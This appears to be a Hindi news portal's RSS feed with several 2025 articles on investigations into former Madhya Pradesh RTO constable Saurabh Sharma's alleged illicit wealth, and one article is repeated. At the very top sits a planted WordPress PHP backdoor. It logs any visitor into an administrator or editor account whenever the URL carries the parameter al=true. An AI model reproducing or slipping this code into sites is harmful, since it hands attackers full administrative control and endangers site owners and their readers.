// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); RTO constable Saurabh Sharma – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 21 Aug 2025 10:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 RTO के पूर्व आरक्षक सौरभ शर्मा के रिश्तेदार आयकर विभाग के निशाने पर, खंगाले जाएंगे रिकॉर्ड https://pratyushaashakinayikiran.com/?p=179594 Thu, 21 Aug 2025 10:06:00 +0000 https://pratyushaashakinayikiran.com/?p=179594 भोपाल 

मध्य प्रदेश के बहुचर्चित आरटीओ के पूर्व आरक्षक और धनकुबेर कहे जाने वाले सौरभ शर्मा केस में आयकर विभाग ने भ्रष्टाचार मामले में अपनी कार्रवाई और कड़ी कर दी है। सौरभ शर्मा, उनके सहयोगी चेतन सिंह गौर, शरद जायसवाल और उनकी कंपनी अविरल बिल्डिंग एंड कंस्ट्रक्शन की कई संपत्तियों को बेनामी संपत्ति प्रतिषेध अधिनियम, 1988 के तहत पहले ही अटैच की जा चुकी हैं। अब आयकर विभाग की बेनामी विंग सौरभ शर्मा के रिश्तेदारों के नाम पर खरीदी संपत्तियों की गहन जांच में जुट गई है।

अबतक की जांच से पता चला है कि, सौरभ शर्मा ने अपनी अवैध कमाई को बेनामी संपत्तियों में निवेश कर रखा है, जिसमें उनकी मां उमा शर्मा, पत्नी दिव्या तिवारी, जीजा और अन्य रिश्तेदारों के नाम पर जमीन और प्रॉपर्टी खरीदी गई है। आयकर विभाग ने भोपाल, ग्वालियर और इंदौर में इन संपत्तियों की जानकारी जुटानी शुरू कर दी है। सूत्रों की मानें तो सौरभ के जीजा और उनके परिवार की संपत्तियों को भी अटैच करने की तैयारी की जा रही है।

अबतक ये कार्रवाई हुई

आपको बता दें कि, दिसंबर 2024 में लोकायुक्त पुलिस ने सौरभ शर्मा के घर और दफ्तर में छामामार कार्रवाई कर 2.95 करोड़ रुपए नकद, 234 किलो चांदी और 50 लाख की सोने-हीरे के जेवरात बरामद किए थे। यही नहीं, आयकर विभाग ने भोपाल से सचे मेंडोरी गांव में एक एसयूवी से 52 किलो सोना और 11 करोड़ रुपए नकद जब्त किए थे, जो सौरभ के सहयोगी चेतन सिंह गौर की गाड़ी से बरामद हुए थे। प्रवर्तन निदेशालय यानी ईडी ने भी इस मामले में मनी लॉन्ड्रिंग की जांच शुरू कर 92.07 करोड़ की संपत्तियों को अटैच किया था।

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RTO के पूर्व आरक्षक सौरभ शर्मा के रिश्तेदार आयकर विभाग के निशाने पर, खंगाले जाएंगे रिकॉर्ड https://pratyushaashakinayikiran.com/?p=179596 Thu, 21 Aug 2025 10:06:00 +0000 https://pratyushaashakinayikiran.com/?p=179596 भोपाल 

मध्य प्रदेश के बहुचर्चित आरटीओ के पूर्व आरक्षक और धनकुबेर कहे जाने वाले सौरभ शर्मा केस में आयकर विभाग ने भ्रष्टाचार मामले में अपनी कार्रवाई और कड़ी कर दी है। सौरभ शर्मा, उनके सहयोगी चेतन सिंह गौर, शरद जायसवाल और उनकी कंपनी अविरल बिल्डिंग एंड कंस्ट्रक्शन की कई संपत्तियों को बेनामी संपत्ति प्रतिषेध अधिनियम, 1988 के तहत पहले ही अटैच की जा चुकी हैं। अब आयकर विभाग की बेनामी विंग सौरभ शर्मा के रिश्तेदारों के नाम पर खरीदी संपत्तियों की गहन जांच में जुट गई है।

अबतक की जांच से पता चला है कि, सौरभ शर्मा ने अपनी अवैध कमाई को बेनामी संपत्तियों में निवेश कर रखा है, जिसमें उनकी मां उमा शर्मा, पत्नी दिव्या तिवारी, जीजा और अन्य रिश्तेदारों के नाम पर जमीन और प्रॉपर्टी खरीदी गई है। आयकर विभाग ने भोपाल, ग्वालियर और इंदौर में इन संपत्तियों की जानकारी जुटानी शुरू कर दी है। सूत्रों की मानें तो सौरभ के जीजा और उनके परिवार की संपत्तियों को भी अटैच करने की तैयारी की जा रही है।

अबतक ये कार्रवाई हुई

आपको बता दें कि, दिसंबर 2024 में लोकायुक्त पुलिस ने सौरभ शर्मा के घर और दफ्तर में छामामार कार्रवाई कर 2.95 करोड़ रुपए नकद, 234 किलो चांदी और 50 लाख की सोने-हीरे के जेवरात बरामद किए थे। यही नहीं, आयकर विभाग ने भोपाल से सचे मेंडोरी गांव में एक एसयूवी से 52 किलो सोना और 11 करोड़ रुपए नकद जब्त किए थे, जो सौरभ के सहयोगी चेतन सिंह गौर की गाड़ी से बरामद हुए थे। प्रवर्तन निदेशालय यानी ईडी ने भी इस मामले में मनी लॉन्ड्रिंग की जांच शुरू कर 92.07 करोड़ की संपत्तियों को अटैच किया था।

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अदालत ने पूर्व RTO आरक्षक सौरभ, सहयोगी चेतन और शरद को भेजा जेल, 17 फरवरी को होगी पेशी https://pratyushaashakinayikiran.com/?p=128830 Tue, 04 Feb 2025 14:06:00 +0000 https://pratyushaashakinayikiran.com/?p=128830 भोपाल
 भोपाल की लोकायुक्त अदालत ने आरटीओ के पूर्व कॉन्स्टेबल सौरभ शर्मा, उसके सहयोगी चेतन सिंह गौर और शरद जायसवाल को 17 फरवरी तक न्यायिक हिरासत में भेज दिया है।  7 दिन की रिमांड के बाद भी लोकायुक्त के हाथ कोई ठोस जानकारी नहीं लगी।

मंगलवार (4 फरवरी) को सौरभ शर्मा, चेतन गौर और शरद जायसवाल को लोकायुक्त ने कोर्ट में पेश किया। लोकायुक्त ने अदालत में तीनों आरोपियों को न्यायिक हिरासत में भेजने की मांग की। इससे पहले लोकायुक्त टीम तीनों आरोपियों को पीछे के रास्ते से ही अदालत पहुंची थी। इससे पहले इनका हमीदिया हॉस्पिटल में मेडिकल चेकअप कराया गया। फिर दो गाड़ियों से कोर्ट पहुंचाया गया।

लोकायुक्त ने नहीं मांगी सौरभ शर्मा की रिमांड

बता दें कि लोकायुक्त ने तीनों को न्यायिक हिरासत में भेजने की मांग कोर्ट से की थी. लोकायुक्त ने कोर्ट में कहा कि पूछताछ पूरी हो गई. जरूरत पड़ने पर तीनों से जेल में जाकर पूछताछ करेंगे. बता दें कि ED और आईटी के अधिकारी भी कोर्ट परिसर में मौजूद हैं.

इससे पहले मंगलवार सुबह लोकायुक्त की टीम सौरभ, चेतन और शरद को लेकर मेडिकल चेकअप के लिए हमीदिया अस्पताल पहुंची। यहां से तीनों को दो गाड़ियों में कोर्ट ले जाया गया। पीछे के रास्ते से कोर्ट में दाखिल कराया। पेशी के बाद लोकायुक्त के अधिकारी इसी रास्ते से कोर्ट से बाहर निकले।

सौरभ के कर्मचारी, रिश्तेदारों को आरोपी बनाया जा सकता है सौरभ और चेतन को 28 जनवरी को लोकायुक्त ने कोर्ट में पेश कर छह दिन की रिमांड पर लिया था जबकि 29 जनवरी को शरद की 5 दिन की रिमांड दी गई थी। आगे लोकायुक्त मेमोरेंडम में सौरभ के अन्य कर्मचारी, रिश्तेदार और करीबी परिचितों को भी आरोपी बनाया जा सकता है।

सौरभ-शरद के भरोसेमंद कर्मचारी लोकायुक्त की रडार में

‘धनकुबेर’ सौरभ शर्मा ने अब तक 55 किलो सोना और 10 करोड़ कैश कांड का राज नहीं खोला है। उसके दोनों राजदार साथी चेतन गौर और शरद जायसवाल से भी लगातार पूछताछ की जा रही है। इस बीच लोकायुक्त पुलिस को कुछ इनपुट मिले हैं। जिसके बाद इनकी कंपनी के कर्मचारियों की मुश्किलें बढ़ सकती है।

भरोसेमंद कर्मचारी लोकायुक्त की रडार में!

दरअसल, लोकायुक्त को जानकारी मिली है कि सौरभ शर्मा और शरद जायसवाल ने अपनी कंपनी के भरोसेमंद कर्मचारियों के नाम से भी प्रॉपर्टी खरीदी है। अविरल इंटरप्राइजेज, अविरल कंस्ट्रक्शन, फिशरीज के साथ कई कंपनियां बनाई गई हैं। जिसकी प्रॉपर्टी उनके कर्मचारियों के नाम पर है। जिसके बाद लोकायुक्त पुलिस इसके दस्तावेज तलाशने में जुट गई। आशंका है कि इन कर्मचारियों को पूछताछ के लिए जांच एजेंसी कभी भी कार्यालय बुला सकती है।
पंजीयकों को पत्र भेजकर बेनामी संपत्ति की जानकारी मांगी

बता दें कि हाल ही में लोकायुक्त ने भोपाल, इंदौर, ग्वालियर और जबलपुर के पंजीयकों को पत्र भेजकर बेनामी संपत्ति की जानकारी मांगी थी। सौरभ के घर से 50 प्रॉपर्टी के दस्तावेज और कई पावर ऑफ अटॉर्नी भी मिली थी, जो अन्य लोगों के नाम पर हैं। इस मामले में हवाला के एंगल पर भी तेजी से जांच की जा रही है, जिसमें दुबई और अन्य देशों में हवाला की गतिविधियों की आशंका व्यक्त की गई है।
18 दिसंबर को लोकायुक्त की रेड, IT ने बरामद किया था सोना और कैश

गौरतलब है कि 18 दिसंबर को लोकायुक्त ने राजधानी भोपाल में सौरभ शर्मा के घर छापामार कार्रवाई की थी। वहीं ,19 दिसंबर को मेंडोरी गांव के कुछ लोगों ने पुलिस को खाली प्लॉट पर खड़ी एक लावारिस क्रिस्टा गाड़ी के होने की सूचना दी थी, जिसमें 6 से 7 बैग रखे हुए थे।
52 किलो सोना और 10 करोड़ कैश मिलने के बाद शुरू हुई जांच

कैश का अंदेशा होने की वजह से आयकर विभाग को सूचित किया गया था, जिसके बाद IT की टीम ने कांच तोड़कर अंदर से बैग बाहर निकला। जिसमें 52 किलो सोना और 10 करोड़ रुपये कैश बरामद किया गया था। जिसके बाद से लोकायुक्त के बाद ED और IT भी सक्रिय हो गई।
27 दिसंबर को ED ने कई ठिकानों पर मारा छापा

27 दिसंबर को जांच एजेंसियों ने सौरभ शर्मा के रिश्तेदारों और सहयोगियों के भोपाल, ग्वालियर और जबलपुर स्थित आवास में जांच एजेंसियों ने छापामार कार्रवाई की। इस दौरान अलग-अलग ठिकानों पर सर्चिंग के दौरान महत्वपूर्ण दस्तावेज बरामद हुए।
6 करोड़ से ज्यादा की FD बरामद

सौरभ के सहयोगी चेतन सिंह गौर के नाम पर 6 करोड़ रुपये से अधिक की FD मिली थी। परिवार के सदस्यों और कंपनियों के नाम पर 4 करोड़ रुपये से अधिक का बैंक बैलेंस भी मिला। 23 करोड़ रुपये से अधिक की अचल संपत्ति से संबंधित दस्तावेज पाए गए और उन्हें जब्त कर लिया गया।

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RTO के पूर्व आरक्षक सौरभ शर्मा का दुबई में 150 करोड़ का विला , नौकरी के 7 साल में बनाई 550 करोड़ की संपत्ति https://pratyushaashakinayikiran.com/?p=127483 Fri, 31 Jan 2025 19:06:00 +0000 https://pratyushaashakinayikiran.com/?p=127483 भोपाल

परिवहन विभाग में आरक्षक पद पर कार्यरत रहे सौरभ शर्मा का नाम कालेधन के बड़े मामले में सामने आया है। लोकायुक्त पुलिस की छापेमारी में करोड़ों की बेनामी संपत्ति, नकदी और सोने की बरामदगी के बाद अब सौरभ के काले कारनामों का पर्दाफाश हो रहा है। दावा है कि नौकरी में सिर्फ सात साल के भीतर उसने अपने सहयोगियों के साथ मिलकर 550 करोड़ रुपए की संपत्ति बना ली।  

सौरभ हर धंधे में आजमा रहा था अपने हाथ

लोकायुक्त की गिरफ्त में आने के बाद खुलासा हुआ है कि सौरभ पैसे का लेनदेन हवाला के जरिए करता था, सौरभ ने ग्वालियर और भोपाल में पत्नी दिव्या और चेतन के नाम पर करोड़ों की प्रॉपर्टी खरीद रखी थी। सागर में पत्नी के नाम पर मछली पालन का भी ठेका उसने लिया था और पेट्रोल पंप और अन्य जगह भी पैसा लगाया था।

अभी कई राज खुलना बाकी

सौरभ के घर पर चेक पोस्ट की रसीद  कैसे पहुंची? कितने चेक पोस्ट से पैसे कलेक्ट करता था? पूरे नेटवर्क में कौन-कौन लोग शामिल थे?
चेक पोस्ट का कितना पैसा किसको जाता था? यह राज खुलने अभी बाकी हैं।

कोर्ट में सरेंडर करने पहुंचा था सौरभ शर्मा

 सोमवार को 28 जनवरी को कोर्ट में सरेंडर करने सौरभ शर्मा पहुंचा था। लेकिन आवेदन के बाद अदालत ने जांच एजेंसी से डायरी मंगवाई थी, जिसके बाद उसे अगले दिन आने के लिए कहा वकील का कहना है कि मंगलवार की सुबह 11 बजे जैसे ही सौरभ कोर्ट जा रहा था। लोकायुक्त ने उसे बाहर से ही गिरफ्तार कर लिया और लोकायुक्त ऑफिस ले गयी।

हवाला के जरिए करोड़ों का लेन-देन  

एफआईआर में यह भी बताया गया है कि सौरभ हवाला के जरिए नियमित रूप से करोड़ों रुपए का लेन-देन करता था। इसमें लोकेश सदासिवन नामक व्यक्ति उसकी मदद करता था। सौरभ ने लोकेश के नाम पर भी कई कंपनियां खड़ी कर रखी थीं।
संपत्तियों की छानबीन  

लोकायुक्त पुलिस ने भोपाल स्थित अरेरा कॉलोनी में सौरभ के आवास और कार्यालय पर छापेमारी कर करोड़ों की संपत्तियों से जुड़े दस्तावेज बरामद किए हैं। पुलिस ने पाया कि सौरभ ने सूखी सेवनिया में वेयरहाउस, होशंगाबाद रोड पर पेट्रोल पंप और शाहपुरा में एक स्कूल फ्रेंचाइजी बनाई थी।  

सोने और नकदी के मालिक की तलाश  

सौरभ की गिरफ्तारी के बाद आयकर विभाग भी सक्रिय हो गया है। भोपाल के नजदीक एक प्लॉट से जब्त 52 किलो सोने और 11 करोड़ नकदी के असली मालिक की तलाश जारी है। इस सोने पर दुबई, ऑस्ट्रेलिया और स्विट्जरलैंड की मुहरें लगी हैं, जिससे संदेह है कि इसे विदेश से आयात किया गया था।  

फरारी के दौरान कई राज्यों में छिपा  

जांच में खुलासा हुआ कि फरारी के दौरान सौरभ दिल्ली, उत्तराखंड, हरियाणा, ग्वालियर में रुका था। वहीं, अशोकनगर, गंजबासौदा और विदिशा के रास्ते भोपाल पहुंचा था। टोल नाकों से बचने के लिए उसने सड़क मार्ग से भोपाल तक की यात्रा की थी।   

सौरभ से जुड़ी संपत्तियों की सूची  

– वेयरहाउस: सूखी सेवनिया, भोपाल  
– पेट्रोल पंप: होशंगाबाद रोड और औबेदुल्लागंज  
– स्कूल: शाहपुरा में जयपुरिया स्कूल की फ्रेंचाइजी  
– प्लॉट्स: भोपाल और ग्वालियर में कई प्लॉट  
– मकान: इंदौर में तीन मकान और भोपाल में चार बंगले  
– व्यवसाय: मछली पालन का ठेका झांसी के ललितपुर क्षेत्र में  
– बंगला: दुबई में 150 करोड़ का बंगला  

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भोपाल: RTO के पूर्व कांस्टेबल सौरभ शर्मा को लोकायुक्त ने कस्टडी में लिया, उसकी जान को खतरा हो सकता https://pratyushaashakinayikiran.com/?p=126371 Tue, 28 Jan 2025 15:06:00 +0000 https://pratyushaashakinayikiran.com/?p=126371 भोपाल
काली कमाई के आरोप से घिरे मध्य प्रदेश परिवहन विभाग के पूर्व आरक्षक सौरभ शर्मा की ओर से आत्मसमर्पण के लिए प्रस्तुत प्रार्थना पत्र पर भोपाल के विशेष न्यायालय में मंगलवार को सुनवाई की जाएगी। इसके लिए सोमवार को सौरभ अपने वकील के साथ कोर्ट में प्रस्तुत हुआ था।

इस बीच, वकील ने दावा किया है कि सौरभ शर्मा को गिरफ्तार कर लिया गया है। हालांकि जांच एजेंसियों ने इसकी पुष्टि नहीं की है।

इससे पहले सोमवार को सौरभ शर्मा की याचिका पर कोर्ट ने लोकायुक्त से डायरी तलब की थी। मंगलवार को लोकायुक्त व अन्य जांच एजेंसियों के तर्कों को सुनने के बाद न्यायालय इस मामले में सुनवाई करेगा।

कोर्ट आते समय किया गया गिरफ्तार

सौरभ के वकील राकेश पाराशर ने बताया कोर्ट आते समय सौरभ शर्मा को हिरासत में लिया गया. कोर्ट में अवैध गिरफ्तारी का आवेदन लगाएंगे.

52 किलो गोल्ड वाले धनकुबेर सौरभ शर्मा लोकायुक्त के छापे के बाद से ही फरार था. हालांकि 27 जनवरी को अचानक भोपाल पहुंचकर सरेंडर के लिए स्पेशल कोर्ट में आवेदन दिया था, जिसके बाद कोर्ट ने आज पेश होने के लिए कहा था.

भोपाल में आरटीओ के पूर्व आरक्षक सौरभ शर्मा के कई ठिकानों पर 9 दिन में तीन जांच एजेंसियां ED, लोकायुक्त और आयकर विभाग ने छापे मारे थे. छापेमारी के दौरान सौरभ के इन ठिकानों से 93 करोड़ से अधिक की संपत्ति मिली थी, जिसमें 52 किलो सोना और 11 करोड़ कैश भी थे.

सौरभ के वकील राकेश पाराशर ने बताया कि सौरभ कोर्ट के आदेश पर आज 11 बजे हाजिर होने वाला था। लेकिन लोकायुक्त पुलिस ने उसे अरेस्ट कर लिया। जबकि सौरभ ने सोमवार को कोर्ट में खुद उपस्थित होकर सरेंडर करने का आवेदन दिया था। एडीजे रामप्रसाद मिश्रा ने लोकायुक्त को केस डायरी के साथ उपस्थित होने के आदेश दिए थे।

कोर्ट सूत्रों के मुताबिक सौरभ शर्मा सोमवार दोपहर 12:30 बजे के करीब सरेंडर करने एडीजे आरपी मिश्रा की कोर्ट पहुंचा था। यहां सौरभ के वकील ने सरेंडर के लिए आवेदन दिया। वकील ने कोर्ट को बताया कि उन्हें जानकारी मिली है कि सौरभ लोकायुक्त के आय से अधिक संपत्ति के एक प्रकरण में फरार चल रहा है। केस अंडर इंवेस्टिगेशन है।

वकील ने कोर्ट को बताया कि केस से जुड़े तमाम डॉक्यूमेंट्स लोकायुक्त टीम के पास है। तब कोर्ट ने रिपोर्ट के साथ डायरी कॉल की। कोर्ट ने लोकायुक्त संगठन के विशेष लोक अभियोजक विवेक गौड़ को बुलाया गया। उनसे बातचीत के बाद मंगलवार सुबह डायरी सहित कोर्ट में हाजिर होने के आदेश दिए हैं।

इसी के साथ सौरभ के वकील को भी मंगलवार सुबह केस की सुनवाई के संबंध में दोबारा कोर्ट में पेश होने के निर्देश दिए गए हैं। इसके बाद दोपहर करीब 1:20 बजे सौरभ कोर्ट रूम से बाहर निकल गया। लोकायुक्त पुलिस की टीम भी कोर्ट पहुंची थी।

सौरभ की गिरफ्तारी की कोशिशें तेज

    वहीं, सौरभ की गिरफ्तारी की कोशिश में भी जांच एजेंसियां जुट गई हैं। बता दें कि 19 दिसंबर 2024 को लोकायुक्त की टीम ने सौरभ के घर पर छापेमारी के साथ ही उसके नजदीकी चेतन गौर की कार भी बरामद की थी।

    कार से आयकर विभाग की टीम ने 11 करोड़ रुपये और 52 किलोग्राम सोना समेत बेनामी प्रापर्टी के कागजात बरामद किए गए थे। 40 दिन से सौरभ अपनी पत्नी दिव्या तिवारी के साथ फरार चल रहा था।

    इस मामले में मध्य प्रदेश की राजनीति भी गरमाई हुई है। कांग्रेस नेताओं ने भाजपा नेताओं पर सौरभ को संरक्षण देने के आरोप लगाए हैं। यदि सौरभ से पूछताछ होती है तो कई राज सामने आ सकते हैं।

ED, लोकायुक्त और आयकर विभाग ने छापे मारे थे। कार्रवाई के दौरान उसके पास 93 करोड़ से ज्यादा की प्रॉपर्टी मिली। इनमें कार में मिला 52 किलो सोना और 11 करोड़ कैश भी शामिल है।

प्रवर्तन निदेशालय (ED) ने 27 दिसंबर को सौरभ शर्मा और उसके सहयोगी चेतन सिंह गौर, शरद जायसवाल, रोहित तिवारी के ठिकानों पर छापे मारे थे। सौरभ के परिजन और दोस्तों के खातों में 4 करोड़ रुपए का बैंक बैलेंस पाया। इसके अलावा 23 करोड़ की संपत्ति भी जांच के दायरे में ED ने ली थी।

भोपाल, जबलपुर, ग्वालियर में की गई जांच में 6 करोड़ रुपए की FD की जानकारी भी ED के हाथ लगी है। फर्मों और कंपनियों के जरिए किए गए निवेश का खुलासा हुआ है।

सौरभ के ठिकानों से मिली करीब 100 करोड़ की संपत्ति लोकायुक्त की टीम ने 19 दिसंबर को आरटीओ के पूर्व कॉन्स्टेबल सौरभ शर्मा के भोपाल की अरेरा कॉलोनी स्थित घर और ऑफिस पर छापा मारा था। टीम को इन ठिकानों से 2.95 करोड़ रुपए कैश, करीब 50 लाख रुपए के सोने-चांदी के जेवरात और 234 किलो चांदी सहित अन्य प्रॉपर्टी के दस्तावेज मिले थे।

इसी दिन आधी रात के बाद भोपाल के ही मेंडोरी इलाके में जंगल में लावारिस खड़ी कार से 52 किलो सोना और 11 करोड़ रुपए कैश मिले थे। ये कार सौरभ शर्मा के सहयोगी चेतन सिंह गौर के नाम है। चेतन ने जांच एजेंसी को बताया था कि गोल्ड और कैश सौरभ शर्मा का ही है।

इसके बाद प्रवर्तन निदेशालय (ईडी) ने सौरभ और उसके परिवार व परिचित के यहां छापा मारा था। इस दौरान जांच एजेंसी को कैश समेत 23 करोड़ की संपत्ति मिली थी। लोकायुक्त के छापे के बाद से ही सौरभ फरार था। छापे के समय उसके दुबई में होने की जानकारी सामने आई थी। जांच एजेंसियां लगातार उसकी तलाश में दबिश दे रही थी।

 

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